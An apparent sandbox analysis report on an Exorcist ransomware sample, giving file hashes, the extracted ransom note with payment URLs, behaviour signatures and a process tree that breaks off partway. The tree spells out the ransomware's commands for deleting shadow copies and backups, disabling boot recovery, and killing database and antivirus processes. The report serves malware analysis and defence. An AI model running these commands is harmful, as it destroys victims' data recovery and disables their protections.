Overview

overview

10

Static

static

10

build-x64-...in.exe

windows7_x64

10

build-x64-...in.exe

windows10_x64

10

Resubmissions

23/09/2020, 10:35

200923-mkwlt9yalx 10

23/07/2020, 14:59

200723-mtbw6t99d2 10

23/07/2020, 13:47

200723-5t3mhtw95x 10

Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    23/09/2020, 10:35

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    build-x64-crypt.bin.exe

  • Size

    52KB

  • MD5

    8cc13fea61cc0ba1382a779ee46726f0

  • SHA1

    bd8ef46a02085153605a87fcc047f7ef3d0c4131

  • SHA256

    eeb8a83d7532797d39d060ffb2a65562e8d803c4dbd8379289f99367cac2f850

  • SHA512

    2f317f04b6bda9af58b049cb9bd0032d08c0aa30b8ac8d76b10f738ab11f4cc9f4eca4af3ecf26e610715117e2d68e5f8fb0ac139e60e882cc24fc795bf0a34a

Score
10/10
ransomwareevasionpersistenceexorcist

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\Ejdgcj-decrypt.hta

Family

exorcist

Ransom Note
Ejdgcj Decrypt All your data has been encrypted with Exorcist Ransomware. Do not worry: you have some hours to contact us and decrypt your data by paying a ransom. To do this, follow instructions on this web site: http://217.8.117.26/pay Also, you can install Tor Browser and use this web site: http://4dnd3utjsmm2zcsb.onion/pay IMPORTANT: Do not modify this file, otherwise you will not be able to recover your data! Your authorization key: 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
URLs

http://217.8.117.26/pay

http://4dnd3utjsmm2zcsb.onion/pay

Signatures

  • Exorcist

    Ransomware-as-a-service which avoids infecting machines in CIS nations. First seen in mid-2020.

    ransomwareexorcist
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies service 2 TTPs 5 IoCs
    persistence
  • Drops file in Windows directory 6 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 91 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • NTFS ADS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 344 IoCs
  • Suspicious use of AdjustPrivilegeToken 135 IoCs
  • Suspicious use of WriteProcessMemory 588 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\build-x64-crypt.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\build-x64-crypt.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1000
    • C:\Windows\system32\cmd.exe
      cmd /C wmic.exe SHADOWCOPY DELETE /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1304
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic.exe SHADOWCOPY DELETE /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1760
    • C:\Windows\system32\cmd.exe
      cmd /C wbadmin DELETE SYSTEMSTATEBACKUP
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2000
      • C:\Windows\system32\wbadmin.exe
        wbadmin DELETE SYSTEMSTATEBACKUP
        3⤵
        • Deletes System State backups
        • Drops file in Windows directory
        PID:1780
    • C:\Windows\system32\cmd.exe
      cmd /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:420
      • C:\Windows\system32\wbadmin.exe
        wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
        3⤵
        • Deletes System State backups
        • Drops file in Windows directory
        PID:316
    • C:\Windows\system32\cmd.exe
      cmd /C bcdedit.exe /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:684
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:360
    • C:\Windows\system32\cmd.exe
      cmd /C bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:276
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:912
    • C:\Windows\system32\cmd.exe
      cmd /C vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1776
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:1408
    • C:\Windows\system32\cmd.exe
      cmd /C C:\Windows\system32\vssvc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:372
      • C:\Windows\system32\VSSVC.exe
        C:\Windows\system32\vssvc.exe
        3⤵
          PID:1040
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM wxServer*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1740
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM wxServer*
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1972
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM QBFCService*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM QBFCService*
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:224
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM QBVSS*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1828
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM QBVSS*
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1736
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM sql*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM sql*
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:544
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM msaccess*
        2⤵
          PID:1792
          • C:\Windows\system32\taskkill.exe
            taskkill /F /T /IM msaccess*
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:968
        • C:\Windows\system32\cmd.exe
          cmd /C taskkill /F /T /IM mssql*
          2⤵
            PID:804
            • C:\Windows\system32\taskkill.exe
              taskkill /F /T /IM mssql*
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:956
          • C:\Windows\system32\cmd.exe
            cmd /C taskkill /F /T /IM mysql*
            2⤵
              PID:840
              • C:\Windows\system32\taskkill.exe
                taskkill /F /T /IM mysql*
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1252
            • C:\Windows\system32\cmd.exe
              cmd /C taskkill /F /T /IM wxServerView*
              2⤵
                PID:1472
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /T /IM wxServerView*
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1952
              • C:\Windows\system32\cmd.exe
                cmd /C taskkill /F /T /IM sqlmangr*
                2⤵
                  PID:1824
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /T /IM sqlmangr*
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:232
                • C:\Windows\system32\cmd.exe
                  cmd /C taskkill /F /T /IM RAgui*
                  2⤵
                    PID:204
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /T /IM RAgui*
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1996
                  • C:\Windows\system32\cmd.exe
                    cmd /C taskkill /F /T /IM supervise*
                    2⤵
                      PID:1744
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /T /IM supervise*
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1140
                    • C:\Windows\system32\cmd.exe
                      cmd /C taskkill /F /T /IM Culture*
                      2⤵
                        PID:1780
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /T /IM Culture*
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:360
                      • C:\Windows\system32\cmd.exe
                        cmd /C taskkill /F /T /IM Defwatch*
                        2⤵
                          PID:420
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /T /IM Defwatch*
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1756
                        • C:\Windows\system32\cmd.exe
                          cmd /C taskkill /F /T /IM winword*
                          2⤵
                            PID:908
                            • C:\Windows\system32\taskkill.exe
                              taskkill /F /T /IM winword*
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1488
                          • C:\Windows\system32\cmd.exe
                            cmd /C taskkill /F /T /IM QBW32*
                            2⤵
                              PID:1296
                              • C:\Windows\system32\taskkill.exe
                                taskkill /F /T /IM QBW32*
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1080
                            • C:\Windows\system32\cmd.exe
                              cmd /C taskkill /F /T /IM QBDBMgr*
                              2⤵
                                PID:372
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /F /T /IM QBDBMgr*
                                  3⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1848
                              • C:\Windows\system32\cmd.exe
                                cmd /C taskkill /F /T /IM qbupdate*
                                2⤵
                                  PID:1740
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /F /T /IM qbupdate*
                                    3⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1456
                                • C:\Windows\system32\cmd.exe
                                  cmd /C taskkill /F /T /IM axlbridge*
                                  2⤵
                                    PID:2024
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /F /T /IM axlbridge*
                                      3⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:316
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C taskkill /F /T /IM httpd*
                                    2⤵
                                      PID:1248
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /F /T /IM httpd*
                                        3⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2044
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C taskkill /F /T /IM fdlauncher*
                                      2⤵
                                        PID:920
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /F /T /IM fdlauncher*
                                          3⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1524
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C taskkill /F /T /IM MsDtSrvr*
                                        2⤵
                                          PID:1792
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /F /T /IM MsDtSrvr*
                                            3⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1040
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C taskkill /F /T /IM java*
                                          2⤵
                                            PID:804
                                            • C:\Windows\system32\taskkill.exe
                                              taskkill /F /T /IM java*
                                              3⤵
                                              • Kills process with taskkill
                                              PID:2036
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C taskkill /F /T /IM 360se*
                                            2⤵
                                              PID:840
                                              • C:\Windows\system32\taskkill.exe
                                                taskkill /F /T /IM 360se*
                                                3⤵
                                                • Kills process with taskkill
                                                PID:228
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C taskkill /F /T /IM 360doctor*
                                              2⤵
                                                PID:1472
                                                • C:\Windows\system32\taskkill.exe
                                                  taskkill /F /T /IM 360doctor*
                                                  3⤵
                                                  • Kills process with taskkill
                                                  PID:1736
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C taskkill /F /T /IM wdswfsafe*
                                                2⤵
                                                  PID:1824
                                                  • C:\Windows\system32\taskkill.exe
                                                    taskkill /F /T /IM wdswfsafe*
                                                    3⤵
                                                    • Kills process with taskkill
                                                    PID:848
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C taskkill /F /T /IM fdhost*
                                                  2⤵
                                                    PID:204
                                                    • C:\Windows\system32\taskkill.exe
                                                      taskkill /F /T /IM fdhost*
                                                      3⤵
                                                      • Kills process with taskkill
                                                      PID:684
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C taskkill /F /T /IM GDscan*
                                                    2⤵
                                                      PID:928
                                                      • C:\Windows\system32\taskkill.exe
                                                        taskkill /F /T /IM GDscan*
                                                        3⤵
                                                        • Kills process with taskkill
                                                        PID:924
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /C taskkill /F /T /IM ZhuDongFangYu*
                                                      2⤵
                                                        PID:1780
                                                        • C:\Windows\system32\taskkill.exe
                                                          taskkill /F /T /IM ZhuDongFangYu*
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:1556
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C taskkill /F /T /IM QBDBMgrN*
                                                        2⤵
                                                          PID:1504
                                                          • C:\Windows\system32\taskkill.exe
                                                            taskkill /F /T /IM QBDBMgrN*
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1952
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C taskkill /F /T /IM mysqld*
                                                          2⤵
                                                            PID:908
                                                            • C:\Windows\system32\taskkill.exe
                                                              taskkill /F /T /IM mysqld*
                                                              3⤵
                                                                PID:232
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C taskkill /F /T /IM AutodeskDesktopApp*
                                                              2⤵
                                                                PID:1296
                                                                • C:\Windows\system32\taskkill.exe
                                                                  taskkill /F /T /IM AutodeskDesktopApp*
                                                                  3⤵
                                                                  • Kills process with taskkill
                                                                  PID:1500
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C taskkill /F /T /IM acwebbrowser*
                                                                2⤵
                                                                  PID:372
                                                                  • C:\Windows\system32\taskkill.exe
                                                                    taskkill /F /T /IM acwebbrowser*
                                                                    3⤵
                                                                      PID:1108
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C taskkill /F /T /IM Creative Cloud*
                                                                    2⤵
                                                                      PID:1740
                                                                      • C:\Windows\system32\taskkill.exe
                                                                        taskkill /F /T /IM Creative Cloud*
                                                                        3⤵
                                                                          PID:1064
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C taskkill /F /T /IM Adobe Desktop Service*
                                                                        2⤵
                                                                          PID:360
                                                                          • C:\Windows\system32\taskkill.exe
                                                                            taskkill /F /T /IM Adobe Desktop Service*
                                                                            3⤵
                                                                            • Kills process with taskkill
                                                                            PID:1100
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C taskkill /F /T /IM CoreSync*
                                                                          2⤵
                                                                            PID:1352
                                                                            • C:\Windows\system32\taskkill.exe
                                                                              taskkill /F /T /IM CoreSync*
                                                                              3⤵
                                                                              • Kills process with taskkill
                                                                              PID:1756
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd /C taskkill /F /T /IM Adobe CEF Helper*
                                                                            2⤵
                                                                              PID:1480
                                                                              • C:\Windows\system32\taskkill.exe
                                                                                taskkill /F /T /IM Adobe CEF Helper*
                                                                                3⤵
                                                                                  PID:1488
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd /C taskkill /F /T /IM node*
                                                                                2⤵
                                                                                  PID:276
                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                    taskkill /F /T /IM node*
                                                                                    3⤵
                                                                                    • Kills process with taskkill
                                                                                    PID:2036
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd /C taskkill /F /T /IM AdobeIPCBroker*
                                                                                  2⤵
                                                                                    PID:1776
                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                      taskkill /F /T /IM AdobeIPCBroker*
                                                                                      3⤵
                                                                                      • Kills process with taskkill
                                                                                      PID:1836
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    cmd /C taskkill /F /T /IM sync-taskbar*
                                                                                    2⤵
                                                                                      PID:804
                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                        taskkill /F /T /IM sync-taskbar*
                                                                                        3⤵
                                                                                        • Kills process with taskkill
                                                                                        PID:1144
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      cmd /C taskkill /F /T /IM sync-worker*
                                                                                      2⤵
                                                                                        PID:216
                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                          taskkill /F /T /IM sync-worker*
                                                                                          3⤵
                                                                                          • Kills process with taskkill
                                                                                          PID:1336
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        cmd /C taskkill /F /T /IM InputPersonalization*
                                                                                        2⤵
                                                                                          PID:1768
                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                            taskkill /F /T /IM InputPersonalization*
                                                                                            3⤵
                                                                                            • Kills process with taskkill
                                                                                            PID:968
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          cmd /C taskkill /F /T /IM AdobeCollabSync*
                                                                                          2⤵
                                                                                            PID:1248
                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                              taskkill /F /T /IM AdobeCollabSync*
                                                                                              3⤵
                                                                                              • Kills process with taskkill
                                                                                              PID:340
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            cmd /C taskkill /F /T /IM BrCtrlCntr*
                                                                                            2⤵
                                                                                              PID:928
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM BrCtrlCntr*
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                PID:1300
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              cmd /C taskkill /F /T /IM BrCcUxSys*
                                                                                              2⤵
                                                                                                PID:1040
                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                  taskkill /F /T /IM BrCcUxSys*
                                                                                                  3⤵
                                                                                                  • Kills process with taskkill
                                                                                                  PID:1936
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                cmd /C taskkill /F /T /IM SimplyConnectionManager*
                                                                                                2⤵
                                                                                                  PID:2000
                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                    taskkill /F /T /IM SimplyConnectionManager*
                                                                                                    3⤵
                                                                                                    • Kills process with taskkill
                                                                                                    PID:2016
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  cmd /C taskkill /F /T /IM Simply.SystemTrayIcon*
                                                                                                  2⤵
                                                                                                    PID:1792
                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                      taskkill /F /T /IM Simply.SystemTrayIcon*
                                                                                                      3⤵
                                                                                                        PID:1476
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      cmd /C taskkill /F /T /IM fbguard*
                                                                                                      2⤵
                                                                                                        PID:908
                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                          taskkill /F /T /IM fbguard*
                                                                                                          3⤵
                                                                                                            PID:1228
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          cmd /C taskkill /F /T /IM fbserver*
                                                                                                          2⤵
                                                                                                            PID:1408
                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                              taskkill /F /T /IM fbserver*
                                                                                                              3⤵
                                                                                                                PID:1824
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              cmd /C taskkill /F /T /IM ONENOTEM*
                                                                                                              2⤵
                                                                                                                PID:1484
                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                  taskkill /F /T /IM ONENOTEM*
                                                                                                                  3⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  PID:1524
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                cmd /C taskkill /F /T /IM wrapper*
                                                                                                                2⤵
                                                                                                                  PID:1100
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /F /T /IM wrapper*
                                                                                                                    3⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    PID:1780
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  cmd /C taskkill /F /T /IM DefWatch*
                                                                                                                  2⤵
                                                                                                                    PID:420
                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                      taskkill /F /T /IM DefWatch*
                                                                                                                      3⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      PID:2008
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    cmd /C taskkill /F /T /IM ccEvtMgr*
                                                                                                                    2⤵
                                                                                                                      PID:1832
                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                        taskkill /F /T /IM ccEvtMgr*
                                                                                                                        3⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:236
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      cmd /C taskkill /F /T /IM ccSetMgr*
                                                                                                                      2⤵
                                                                                                                        PID:1304
                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                          taskkill /F /T /IM ccSetMgr*
                                                                                                                          3⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          PID:1336
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        cmd /C taskkill /F /T /IM SavRoam*
                                                                                                                        2⤵
                                                                                                                          PID:544
                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                            taskkill /F /T /IM SavRoam*
                                                                                                                            3⤵
                                                                                                                              PID:1840
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            cmd /C taskkill /F /T /IM Sqlservr*
                                                                                                                            2⤵
                                                                                                                              PID:2044
                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                taskkill /F /T /IM Sqlservr*
                                                                                                                                3⤵
                                                                                                                                  PID:1868
                                                                                                                              • C:\Windows\system32\cmd.exe
